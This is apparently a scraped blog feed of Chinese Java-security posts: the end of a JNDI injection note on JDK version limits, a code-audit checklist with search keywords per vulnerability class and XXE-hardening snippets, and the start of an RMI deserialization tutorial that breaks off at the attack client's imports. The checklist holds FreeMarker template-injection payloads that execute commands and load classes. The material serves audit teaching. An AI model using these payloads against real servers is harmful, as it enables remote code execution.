rmi的jndi在6u132，7u122，8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。

如果想要通过rmi的jndi进行加载恶意类，在jdk8中，版本就可以适用到113。

如下为jdk8u321的测试结果：

image-20220617182734089

LDAP版本限制

然后再说下ldap的jndi，ldap的jndi在6u211、7u201、8u191、11.0.1后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。

这里就是为什么进行JNDI注入的时候用LDAP会通用，因为我们如果想要通过ldap的jndi进行加载恶意类，在jdk8中，版本就可以适用到8u191

image-20220617181311507

参考

https://blog.csdn.net/rfrder/article/details/120048519

https://www.cnblogs.com/nice0e3/p/13958047.html

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>JNDI注入是反序列化漏洞常用的攻击手法之一。</p> JavaWeb代码审计CheckList https://kpa1on.github.io/2022/06/16/JavaWeb%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1CheckList/ 2022-06-16T15:30:37.000Z 2022-09-29T17:42:38.772Z

前言

整理下平时Java代码审计中常见的一些漏洞学习总结以及一些审计思路，后续会不断补充。

工具

以下为常用的工具清单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
一、代码编辑器：
1.Jetbrains IDEA(IDE)
2.Sublime text(文本编辑器)
3.Eclipse
二、测试工具：
1.Burp Suite：是渗透测试工作者必备的一款工具，同时对于代码审计者和安全研究人员来说，这也是一款比较重要的测试工具，其跨平台、便捷、强大的功能以及丰富的插件，深受信息安全从业者的喜爱。
2.SwitchyOmega：SwitchyOmega 是一款代理管理插件，支持Firefox和Chrome浏览器，并支持HTTP、HTTPS、socket4和socket5协议。
3.Max HackerBar：HackBar是Firefox的一个插件，也是信息安全从业者常用的经典工具。
4.Postman：Postman是一款功能强大的网页调试工具，能够为用户提供强大的Web API & HTTP请求调试功能。
5.Ysoserial：是一款开源的Java反序列化测试工具，内部集成有多种利用链，可以快速生成用于攻击的代码，也可以将新公开的反序列化漏洞利用方式自行加入Ysoserial中。
6.Marshalsec：是一款开源的Java反序列化测试工具，不仅可以生成各类反序列化利用链，还可以快速启动恶意的RMI服务等。
7.MySQL Monitor：是Web版本的SQL记录实时监控工具。
8.Beyond Compare：是一款文件比较工具，主要对比两个文件夹或者文件，并以颜色标示差异，比较范围包括目录、文档内容等。使用该工具可以方便代码审计人员快速地比对两个版本代码的差别。
三、反编译工具
1.JD-GUI：是一款具有UI界面的反编译工具，界面简洁大方，使用简单方便。
2.Fernflower：功能比JD-GUI更强大，虽然没有UI界面，但可以配合系统指令完成批量反编译的工作。
3.CFR：功能强大的反编译工具，支持主流Java特性——Java 8 lambda表达式，以及Java 7字符串切换。在某些JD-GUI无法反编译的情况下，CFR仍然能完美地进行反编译，也可以像FernFlower那样配合系统指令进行批量反编译。
4.IntelliJ IDEA：具能够自动解包已添加依赖的Jar包，并对其内容进行反编译。该工具拥有强大的动态调试和字符串匹配和搜索功能，为审计和调试漏洞的工作提供了极大便利。
5.CodeReviewTools：是一款可以快速搜索代码中的关键点，一键对jar进行批量反编译，也支持直接对war包进行操作。
四、Java代码静态扫描工具
1.Fortify SCA：获得业界认可的静态代码检查工具，但它是收费的。Fortify SCA的核心在于规则库，用户可以自定义规则库，减少误报。
2.VCG：基于 VB 开发的一款Windows下的白盒审计工具。VCG 支持多种语言，例如C/C++、Java、C#、VB、PL/SQL、PHP。VCG会根据代码中的变量名等信息动态生成针对该代码的漏洞规则，通过正则检查是否有和漏洞规则所匹配的代码。
3.FindBugs与FindSecBugs插件：FindBugs是一款Bug扫描插件，在IDEA和Eclipse中都可进行安装。FindBugs可以帮助开发人员发现代码缺陷，减少Bug，但其本身并不具备发现安全漏洞的能力，需要安装FindSecBugs拓展发现安全漏洞的能力。
4.SpotBugs：是FindBugs的继任者，所以二者用法基本一样，可以独立使用，也可以作为插件使用。
5.CheckMark：白盒代码审计解决方案，主要通过采用独特的词汇分析技术和CxQL专利查询技术对应用程序源码进行静态分析检查。
6.Snyk插件：修复项目中的安全漏洞、基础架构错误配置和代码质量问题。
7.Sensei插件：可在键入时扫描和修复易受攻击的代码 - 具有数百个可下载的安全编码配方（规则）以及内置的自行制作能力。
8.Reshift Security插件：可以快速发现漏洞，提供多个代码修复片段，以及丰富的文档，涵盖了每个漏洞的检测、修复和测试。
9.MurphySec Code Scan插件：可以快速识别您的项目中使用了哪些存在安全缺陷的开源组件，并帮助您一键修复问题。
10.Momo Code Sec Inspector插件：重于在编码过程中发现项目潜在的安全风险，并提供一键修复能力。
11.dependence-check：可用于检查已发布安全漏洞的项目依赖项。
12.wJa：一款结合DAST、SAST、IAST的综合性应用程序安全分析工具，支持对java web程序的安全性进行分析，含有反编译，代码审计，调试jar包，代理追踪等用于分析软件安全的功能。
13.tabby：是一款针对Java语言的静态代码分析工具，它使用静态分析框架 Soot 作为语义提取工具，将JAR/WAR/CLASS文件转化为代码属性图，并使用 Neo4j 图数据库来存储生成的代码属性图CPG。
14.SpringInspector：Java自动代码审计工具，尤其针对Spring框架，提供一个SpringBoot的Jar包即可进行自动代码审计，底层技术基于字节码分析。
15.gadgetinspector：反序列化漏洞利用链、漏洞检测工具。

常见漏洞

SQL注入

审计的注意点

  • 是否使用预编译技术，预编译是否完整。
  • 定位SQL语句上下文，查看是否有参数直接拼接，是否有对模糊查询关键字的过滤。
  • Mybatis框架则搜索${}，四种情况无法预编译：like模糊查询、order by排序、范围查询in、动态表名/列名，只能拼接，所以还是需要手工防注入，此时可查看相关逻辑是否正确。
  • JPA搜索JpaSort.unsafe()，查看是否用实体之外的字段对查询结果排序，进行了SQL的拼接。以及查看EntityManager的使用，也可能存在拼接SQL的情况。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Statement
createStatement
PrepareStatement
like '%${
in(${
in (${
select
update
insert
delete
${
setObject(
setInt(
setString(
setSQLXML(
createQuery(
createSQLQuery(
createNativeQuery(

XSS

审计的注意点

  • 定位用户的输入输出，梳理数据交互以及前端展示的过程
  • 找到一条完整的利用链之后，就是结合现有的安全措施（输出编码、过滤器等）进行判断，例如是否存在绕过的可能，或者是没有任何安全防护可直接造成攻击。
  • 扫描所有的 HttpServletRequest 查看相关的上下文环境。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
request.getParamter
<%=
param
${
<c:out
<c:if
<c:forEach
ModelAndView
ModeMap
Model
request.setAttribute
response.getWrite().print(
response.getWrite().writer(
XssFilter
org.springframework.web.util.HtmlUtils
org.apache.commons.lang3.StringEscapeUtils
ESAPI.encoder().encodeForHTML

XXE

审计的注意点

  • XML 解析一般在导入配置、数据传输接口等场景可能会用到，涉及到 XML 文件处理的场景可留意下 XML 解析器是否禁用外部实体，从而判断是否存在 XXE。

  • XML解析涉及的业务功能点： WebServices接口、RESTful接口、Excel文件解析、Soap协议等。

  • 计XML解析器是否设置了相关的安全属性，禁用DTDs或者禁止使用外部实体。还有是否使用了不安全的漏洞组件。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuilderFactory
javax.xml.stream.XMLStreamReader
javax.xml.stream.XMLInputFactory
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
org.jdom.output.XMLOutputter
oracle.xml.parser.v2.XMLParser
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader 
org.dom4j.DocumentHelper
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource 
javax.xml.transform.TransformerFactory 
javax.xml.transform.sax.SAXTransformerFactory 
javax.xml.validation.SchemaFactory
javax.xml.validation.Validator
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression
java.beans.XMLDecoder

部分XML解析器的正确禁用方式，参考：https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
XMLInputFactory (a StAX parser)
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that 
factory
xmlInputFactory.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities

TransformerFactory
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

Validator
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

SchemaFactory
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
Schema schema = factory.newSchema(Source);

SAXTransformerFactory
SAXTransformerFactory sf = SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
sf.newXMLFilter(Source);
//Note: Use of the following XMLConstants requires JAXP 1.5, which was added to Java in 7u40 and Java 8:
javax.xml.XMLConstants.ACCESS_EXTERNAL_DTD
javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET

XMLReader
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); // This may 
not be strictly required as DTDs shouldn't be allowed at all, per previous line.
15 / 28
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

SAXReader
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.

SAXBuilder
SAXBuilder builder = new SAXBuilder();
builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Document doc = builder.build(new File(fileName));

Unmarshaller
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(new StringReader(xml)));
JAXBContext jc = JAXBContext.newInstance(Object.class);
Unmarshaller um = jc.createUnmarshaller();
um.unmarshal(xmlSource);

XPathExpression
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); 
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); 
DocumentBuilder builder = df.newDocumentBuilder();
String result = new XPathExpression().evaluate( builder.parse(new 
ByteArrayInputStream(xml.getBytes())) );

反序列化

审计的注意点

  • 反序列化操作的功能位置：导入模版文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘或DB存储等业务场景。
  • 可以通过对网络抓包寻找序列化数据：java序列化的数据一般会以标记（ac ed 00 05）开头，base64编码后的特征为rO0AB。
  • 查看反序列化触发点的参数是否由用户可控。
  • 全局查找implements Serializable 的所有内部类。
  • 程序中存在一条可以产生安全问题的利用链，如远程代码执行，并找到一个可以触发利用链的点。

关键函数或字符串查找

1
2
3
4
5
6
7
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

命令执行

审计的注意点

  • 重点关注能执行命令的一些功能及函数

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
Runtime.getRuntime().exec()
Process
UNIXProcess
ProcessImpl
ProcessBuilder.start()
GroovyShell.evaluate()
由java后端模板引擎注入导致的 RCE 漏洞，常见的如：Freemarker、Velocity、Thymeleaf等
由java一些脚本语言引起的 RCE 漏洞，常见的如：Groovy、JavascriptEngine等
由第三方开源组件引起的 RCE 漏洞，常见的如：Fastjson、Shiro、Xstream、Struts2、weblogic等

SSRF

审计的注意点

  • SSRF 漏洞出现的场景有很多，如在线翻译、转码服务、图片收藏/下载、信息采集、邮件系统或者从远程服务器请求资源等。通常我们可 以通过浏览器查看源代码查找是否在本地进行了请求，也可以使用 DNSLog 等工具进行测试网页是否被访问。
  • 重点关注HTTP请求操作函数。
  • 想要支持所有的协议，只能使用URLConnection、URL。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
HttpClient.execute()
HttpClient.executeMethod()
HttpURLConnection.connect()
HttpURLConnection.getInputStream()
URL.openStream()
HttpServletRequest()
BasicHttpEntityEnclosingRequest()
DefaultBHttpClientConnection()
BasicHttpRequest()
ImageIO.read()
Request.Get.execute
Request.Post.execute
OkHttpClient.newCall.execute
com.alibaba.druid.util.HttpClientUtils
javax.servlet.http.HttpServletRequest
java.net.URI
java.net.URL
java.net.URLConnection
com.bea.uddiexplorer.Search
org.apache.commons.httpclient.HttpMethodBase
org.apache.http.client.methods.HttpRequestBase

除了建立HTTP协议连接，还可能直接通过 Socket建立连接

1
2
3
4
5
6
7
8
AsynchronousServerSocketChannel.accept/bind
AsynchronousSocketChannel.write/read/bind/connect
ServerSocketChannel.bind
ServerSocket.accept/bind
Socket.bind/connect
Socket.getInputStream().read
Socket.getOutputStream().write
SocketChannel.bind/read/write/connect

文件上传

审计的注意点

  • 关注文件后缀验证，是使用白名单还是黑名单。
  • 最好使用lastIndexOf()方法获取文件后缀，如果使用IndexOf()可能被绕过。
  • 如果是白名单验证时，使用toLowerCase()处理再进行对比，或使用equalsIgnoreCase()，避免被大小写绕过。
  • 是否校验了文件的大小。
  • 是否校验了文件类型getContentType()。
  • 对于使用Hutool的FileTypeUtil的getType()或ImageIO.read()通过读取文件流中前N个byte值来判断文件类型的，也可以使用类似图片马的方式进行绕过。
  • 尝试”%00”截断能否绕过。
  • QP编码特性能否绕过。javax.mail.internet.MimeUtility.encodeWord()方法。
  • 有一些安全校验的顺序有问题，先将文件保存，再进行安全检测，如果不通过检测则进行删除，此时可以在文件保存后触发报错终止流程，导致不删除文件。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
FileUpload
FileUploadBase
FileItemIteratorImpl
FileItemStreamImpl
FileUtils
UploadHandleServlet
FileLoadServlet
FileOutputStream
DiskFileItemFactory
MultipartRequestEntity
MultipartFile
com.oreilly.servlet.MultipartRequest
java.io.File
MultipartMethod
MultipartHttpServletRequest
CommonsMutipartResolver
upload
fileNmae
filePath
lastIndexOf
indexOf
FileUpload
getRealPath
getServletPath
getPathInfo
getContentType
equalsIgnoreCase
FileUtils
UploadHandleServlet
FileLoadServlet
getInputStream
DiskFileItemFactory
file.getInputStream()
new ServletFileUpload(factory)
handleFileUpload(@RequestParam("file") MultipartFile file)

任意文件读/写/删除/复制/移动/遍历

审计的注意点

  • 首先关注包含这些功能的类和函数
  • 对传入的路径未做严格的校验，导致攻击者可以自定义路径

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sun.nio.ch.FileChannelImpl
java.io.File.list/listFiles
java.io.FileInputStream
java.io.FileOutputStream
java.io.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem
sun.nio.fs.UnixFileSystemProvider/WindowsFileSystemProvider
java.io.RandomAccessFile
sun.nio.fs.CopyFile
sun.nio.fs.UnixChannelFactory
sun.nio.fs.WindowsChannelFactory
java.nio.channels.AsynchronousFileChannel
FileUtil/IOUtil
filePath/download/deleteFile/move/getFile
fileName/filePath

URL跳转

审计的注意点

  • 用户登录、统一身份认证处，认证完了会通过url=的形式跳转到类似操作的页面。
  • 用户分享、收藏内容后跳转。
  • 跨域认证授权后进行跳转。
  • 对于URL跳转漏洞在黑盒测试时主要的关注点为：注意URL中是否带有return、redirect、url、jump、goto、target、link等 参数值，并注意观察后跟的URL地址的具体格式，再构造相应的payload尝试跳转。在白盒审计中我们则会重点关注可以进行URL跳转的相关方法。
  • 定位可能存在redirect业务的代码段，审计跳转的URL是否来自于前端参数，是否具有校验和限制。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
sendRedirect
setHeader
forward
redirect:
<c:redirect
self.location.href
location.href
windows.location.href
redirect、redirect_do、redirect_url、url、jump、jump_to、target、to、link、domain

敏感信息泄露

审计的注意点

  • 重点审计系统使用的框架、组件，根据经验查看配置，配置是否有误、是否将调试功能正式上线到生产环境中等。
  • 由于配置不当或使用有误，将可能导致泄露服务器的敏感信息。
    例如：swagger 接口文档、Hystrix 监控面板、DWR 框架、Actuator、druid监控平台等等。

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
SwaggerConfig 
Swagger2Config 
@EnableSwaggerBootstrapUI
@EnableSwagger2
application.properties或者application.yml：swagger.production=true或swagger.basic.enable=true
Hystrix
spring.datasource.druid.stat-view-servlet.enabled=false（false禁用，true开启）
spring.datasource.druid.stat-view-servlet.enabled=true
spring.datasource.druid.stat-view-servlet.login-username=
spring.datasource.druid.stat-view-servlet.login-password=
endpoints.enabled = false
endpoints:
management:

代码执行/表达式执行

审计的注意点

  • 重点审计具有加载类、反序列化类、对类字节码进行操作的功能和代码

关键函数或字符串查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
eval
classLoader
$$BCEL$$
ServiceLoader
ToolProvider.getSystemJavaCompiler()
getSystemClassLoader
JavaFileObject
JdbcRowSetImpl
TemplatesImpl
TransformerFactoryImpl
resolveClass
loadClass
javax.el.ELProcessor
SpelExpressionParser
org.springframework.expression.spel.standard
parseExpression
expression.getValue()
expression.setValue()

Zip文件提取

审计的注意点

  • 重点主要关注应用是否存在ZIP解压缩功能

关键函数或字符串查找

1
2
3
4
FileInputStream
ZipInputStream
getSize()
ZipEntry

业务逻辑漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 用户登陆、用户注册、找回密码等功能中密码信息未采用加密算法。
2. 用户登陆、用户注册、找回密码等功能中`未采用验证码`或`验证码未做安全刷新`(未刷新Session中验证码的值)导致的撞库、密码爆破漏洞。
3. 找回密码逻辑问题(如:可直接跳过验证逻辑直接发包修改)。
4. 手机、邮箱验证、找回密码等涉及到动态验证码`未限制验证码失败次数`、`验证码有效期`、`验证码长度过短`导致的验证码爆破问题。
5. 充值、付款等功能调用了第三方支付系统未正确校验接口(与第三方的交互、与客户的交互，主要查看逻辑问题)。
6. 后端采用了`ORM框架`更新操作时因处理不当导致可以更新用户表任意字段(如:用户注册、用户个人资料修改时可以`直接创建管理员账号`或其他越权修改操作)。
7. 后端采用了`ORM框架`查询数据时因处理不当导致可以接收任何参数导致的越权查询、敏感信息查询等安全问题。
8. 用户中心转账、修改个人资料、密码、退出登陆等功能未采用验证码或`Token机制`导致存在`CSRF漏洞`。
9. 后端服务过于信任前端，重要的参数和业务逻辑只做了前端验证(如:文件上传功能的文件类型只在JS中验证、后端不从Session中获取用户ID、用户名而是直接接收客户端请求的参数导致的`越权问题`)。
10. 用户身份信息认证逻辑问题(如:后台系统自动登陆时直接读取Cookie中的用户名、用户权限不做验证)。
11. 重要接口采用`ID自增、ID可预测并且云端未验证参数有效性`导致的越权访问、信息泄漏问题(如:任意用户订单越权访问)。
12. `条件竞争问题`，某些关键业务(如:用户转账)不支持并发、分布式部署时不支持锁的操作等。
13. 重要接口`未限制请求频率`，导致短信、邮件、电话、私信等信息轰炸。
14. 敏感信息未保护，如`Cookie中直接存储用户密码等重要信息`，跟踪cookie中的变量最终到了哪。
15. 弱加密算法、弱密钥，如勿把Base64当成数据加密方式、重要算法密钥采用弱口令如`123456`。
16. 后端无异常处理机制、未自定义50X错误页面,服务器异常导致敏感信息泄漏(如:数据库信息、网站绝对路径等)。
17. 使用`DWR框架`开发时前后端不分漏洞(如:DWR直接调用数据库信息把用户登陆逻辑直接放到了前端来做)。

硬编码

审计的注意点

  • 审计源代码中是否有硬编码敏感信息。

关键函数或字符串查找

1
2
3
4
5
password
pass
jdbc
auth
key

不安全的反射

审计的注意点

  • 查看开发人员是否对反射调用方法、反射创建类实例进行了封装，并是否在对外的接口中进行了相关的调用。

关键函数或字符串查找

1
2
3
4
Class.forName
Method.invoke
newInstance
Worker/Invoker

使用了不安全的组件

1
组件例如 fastjson、jackson、xstream、shiro、xxl-job，框架例如 struts2、spring 等等，都要注意使用的版本问题。

模板注入

  1. 内建函数的利用：虽然FreeMarker中预制了大量的内建函数，极大地增强和拓展了模板的语言功能，但也可能引发一些危险操作。若研发人员不加以限制， 则很可能产生安全隐患。
  2. new函数的利用：new函数可以创建一个继承自freemarker.template.TemplateModel 类的实例，查阅源码会发现freemarker.template.utility.Execute#exec可以执行 任意代码，因此可以通过new函数实例化一个Execute对象并执行exec() 方法造成任意代码被执行。
1
2
3
4
5
ObjectConstructor：<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("Java.lang. ProcessBuilder","calc.exe").start()}

JythonRuntime：<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os. system("calc.exe")</@value>

Execute：<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
  1. api函数的利用：api函数可以用来访问Java API，使用方法为value?api.someJavaMethod()，相当于value.someJavaMethod()。因此可以利用api函数通过 getClassLoader来获取一个类加载器，进而加载恶意类。也可以通过getResource来读取服务器上的资源文件。
1
2
<#assign classLoader=object?api.class.getClassLoader()>
${classLoader.loadClass("Evil.class")}

CSRF

审计的注意点

  • 一些增删改查方法，是否进行Referer头检验、token检验 无法构造的随机数参数、验证码密码

关键函数或字符串查找

1
session["token"]

越权

审计的注意点

  • 在每个request.getParameter("userid");之后查看是否有检验当前用户与要进行增删改查的用户。

关键函数或字符串查找

1
request.getParameter("userid")

文件包含

审计的注意点

  • 关注jsp是否存在文件包含的方法

关键函数或字符串查找

1
2
3
4
5
6
本地文件包含：
<jsp:include page="<%=file%>"></jsp:include>
<jsp:include page ="<%=file%>"/>
%@include file="test.jsp"%
远程文件包含：
<c:import url="<%= url%>"></c:import>

XMLDecoder反序列化

审计注意点

  • 观察传入XMLDecoder()的参数是否可控

关键函数或字符串查找

1
2
XMLDecoder decoder = new XMLDecoder(ins);
deocder.readObject()

BeanShell RCE

审计注意点

  • 查找参数是否可控

关键函数或字符串查找

1
2
Interpreter interpreter = new Interpreter();
Interpreter.eval(evalString)

SnakeYaml反序列化

审计注意点

  • 直接定位yaml.load()，然后进行回溯，查看下参数是否可控

关键函数或字符串查找

1
2
Yaml yaml = new Yaml()
yaml.load()

未授权访问/权限绕过

审计注意点

  • 查看权限校验的过滤器，观察是否存在校验不严格的路由，或者是否存在检验绕过的情况
  • 找出全部的请求路由

关键函数或字符串查找

1
2
3
@(.*?)Mapping(
request.getRequestURL()
request.getRequestURI()

参考

https://su18.org/post/code-audit/

https://github.com/Cryin/JavaID

https://shu1l.github.io/2021/01/27/java-dai-ma-shen-ji-zhi-chang-jian-lou-dong-xue-xi/

《网络安全JAVA代码审计实战》

《JAVA代码审计入门篇》

]]> <meta name="referrer" content="no-referrer"/> <h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>整理下平时Java代码审计中常见的一些漏洞学习总结以及一些审计思路，后续会不断补充。</p> Java安全之RMI反序列化 https://kpa1on.github.io/2022/06/16/Java%E5%AE%89%E5%85%A8%E4%B9%8BRMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ 2022-06-16T10:31:20.000Z 2022-09-29T17:44:19.176Z

概念

Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

RMI可分为三大部分：

1
2
3
Server: 提供远程的对象
Client:调用远程的对象
Registry:一个注册表，存放着远程对象的位置（ip、端口、标识符）

开发步骤

  1. 编写远程服务接口，该接口必须继承 java.rmi.Remote 接口，方法必须抛出java.rmi.RemoteException 异常；
  2. 编写远程接口实现类，该实现类必须继承 java.rmi.server.UnicastRemoteObject 类；
  3. 创建服务器实例，并且创建一个注册表，将需要提供给客户端的对象注册到注册到注册表中；
  4. 编写客户端并且调用远程对象；

代码实现

1、创建远程接口，继承java.rmi.Remote接口，并且修饰符需要为public否则远程调用的时候会报错，并且定义的方法里面需要抛出一个RemoteException的异常。

1
2
3
4
5
6
7
8
9
package com.ljw.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String sayHello(String name) throws RemoteException;
}

2、实现远程接口，继承 java.rmi.server.UnicastRemoteObject类 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ljw.test;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIServiceImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIServiceImpl() throws RemoteException {
        System.out.println("构造方法");
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        return "Hello " + name;
    }
}

3、创建服务器实例，并且创建一个注册表，将需要提供给客户端的对象注册到注册到注册表中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ljw.test;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RMIInterface rmiService = new RMIServiceImpl();//创建远程对象
        Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
        registry.bind("rmiService", rmiService);//将远程对象绑定到注册表里，并且设置为rmiService
    }
}

4、编写客户端并且调用远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.ljw.test;

import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
        RMIInterface rmiInterface = (RMIInterface) registry.lookup("rmiService");//利用注册表的代理去查询远程注册表中名为rmiService的对象
        System.out.println(rmiInterface.sayHello());
    }
}

如果远程的这个方法有参数的话，调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据，服务端会对客户端的输入进行反序列化。客户端运行结果如下：

image-20220616215127966

RMI攻击

使用RMI反序列化攻击需要两个条件：第一个是接收Object类型的参数，第二就是RMI服务端存在命令执行的利用链。

远程接口的代码，需要定义一个Object类型的参数方法。

1
2
3
4
5
6
7
8
9
10
11
package com.ljw.test;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
    public String hello(String hello) throws RemoteException;
    void work(Object obj) throws RemoteException;
    void  say() throws RemoteException;
}

远程接口实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.ljw.test;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;

public class UserImpl  extends UnicastRemoteObject implements User {
    @Override
    public String hello(String hello) throws RemoteException {
        System.out.println("say");
        return "say";
    }

    @Override
    public void work(Object obj) throws RemoteException {
        System.out.println("work被调用了");
    }

    @Override
    public void say() throws RemoteException {
        System.out.println("say被调用了");
    }
    protected UserImpl() throws RemoteException {
    }

    protected UserImpl(int port) throws RemoteException {
        super(port);
    }

    protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
        super(port, csf, ssf);
    }
}

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.ljw.test;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        //RMIInterface rmiService = new RMIServiceImpl();//创建远程对象
        User user = new UserImpl();
        Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
        registry.bind("user", user);//将远程对象绑定到注册表里，并且设置为rmiService
        System.out.println("rmi running....");
    }
}

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.ljw.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
